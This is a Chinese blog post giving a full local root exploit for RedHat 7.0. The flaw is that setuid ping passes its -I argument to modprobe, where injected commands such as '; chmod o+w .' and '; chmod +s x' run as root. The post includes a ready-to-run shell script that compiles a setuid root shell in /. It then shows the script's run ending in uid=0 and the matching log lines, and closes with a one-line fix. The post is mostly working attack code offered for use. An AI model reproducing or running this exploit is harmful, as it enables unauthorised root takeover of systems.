redhat7本地利用ping拿root漏洞详析

博客涉及Redhat系统,包含shell、socket、perl等技术,还提及测试相关内容,这些信息技术领域的内容是博客关键信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

redhat7本地利用ping拿root漏洞详析
首先声明,本人及本人所在公司盖不对利用此漏洞所造成的损失负责。攻击代码不长,可以用shell或
perl来编写,推荐用shell写。

原理:
也许是redhat7的重大漏洞吧,他的ping程序的-I参数指定interface时通过modprobe和insmod执行任意代
码,大家都知道ping程序的权位是这样的:
[Hello!sune4gle]$?ls?-l?/bin/ping
-rwsr-xr-x????1?root?????root????????20604?Aug??8??2000?/bin/ping
ping程序调用了raw_socket的所有setuid位,呵呵,我们可以通过用ping的-I参数来ping一个不存在的ip
,当然ip前面的参数是关键,也就是我们的执行命令,s权位令我们以普通权限的uid来运行ping时的euid
为0,所以实际上我们在运行ping的一瞬间是以超级拥护的权限在执行命令的。这样如果我们运行如下的
命令的话:
[Hello!sune4gle]$ping?-I?';chmod?o+w?.'?195.117.3.59?&>/dev/null
就是把当前目录对其他用户可写了,呵呵,当然我们可以利用sleep语句来使该进程等待,利用等待的时
间我们可以写一个c程序,让他编译并且运行:
cat?>/x.c?<<_eof_
main()?{
??setuid(0);?seteuid(0);
??system("chmod?755?/;rm?-f?/x;?rm?-f?/x.c");
??execl("/bin/bash","bash","-i",0);
}
_eof_

gcc?/x.c?-o?/x
chmod?755?/x
到这里大家应该都明白了吧?呵呵在/下创建x.c文件,并且编译,使它也拥有s权位,呵呵就使一个
setuid的rootshell啦,以下是写好的攻击代码:
#!/bin/sh
echo
echo?"RedHat?7.0??exploit"
echo?"(c)?2000?suneagle?"
echo
echo?"Enjoy?hacking!?:)"
echo

PING=/bin/ping
test?-u?$PING?||?PING=/bin/ping

if?[?!?-u?$PING?];?then
??echo?"Sorry,?no?setuid?ping."
??exit?0
fi

echo?"Phase?1:?making?/?world-writable..."

$PING?-I?';chmod?o+w?.'?195.117.3.59?&>/dev/null

sleep?1

echo?"Phase?2:?compiling?helper?program?in?/..."

cat?>/x.c?<<_eof_
main()?{
??setuid(0);?seteuid(0);
??system("chmod?755?/;rm?-f?/x;?rm?-f?/x.c");
??execl("/bin/bash","bash","-i",0);
}
_eof_

gcc?/x.c?-o?/x
chmod?755?/x

echo?"Phase?3:?chown+chmod?on?our?helper?program..."

$PING?-I?';chown?0?x'?202.102.3.1?&>/dev/null
sleep?1
$PING?-I?';chmod?+s?x'?202.101.23.1?&>/dev/null
sleep?1

if?[?!?-u?/x?];?then
??echo?"Apparently,?this?is?not?exploitable?on?this?system?:("
??exit?1
fi

echo?"Ye!?Entering?rootshell..."

/x

echo?"Thank?you."

哈哈,好,我把这个shell程序在redhat7下的运行测试结果贴出来:
首先我得有个普通帐户,嘿嘿
[Hello!sune4gle]$?./getroot.sh

RedHat?7.0??exploit
(c)?2000?suneagle?

Enjoy?hacking!?:)

Phase?1:?making?/?world-writable...
Phase?2:?compiling?helper?program?in?/...
Phase?3:?chown+chmod?on?our?helper?program...
Ye!?Entering?rootshell...
[Hello!root]#?id
uid=0(root)?gid=500(sune4gle)?groups=500(sune4gle)
[Hello!root]#
攻击后的log:
Feb?24?11:16:27?sune4gle?modprobe:?modprobe:?insmod?;chmod?o+w?.?failed
Feb?24?11:16:30?sune4gle?modprobe:?modprobe:?insmod?;chown?0?x?failed
Feb?24?11:16:31?sune4gle?modprobe:?modprobe:?insmod?;chmod?+s?x?failed
解决方法:
去掉或限制ping程序的setuid位
[Hello!sune4gle]#?chmod?655?/bin/ping
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值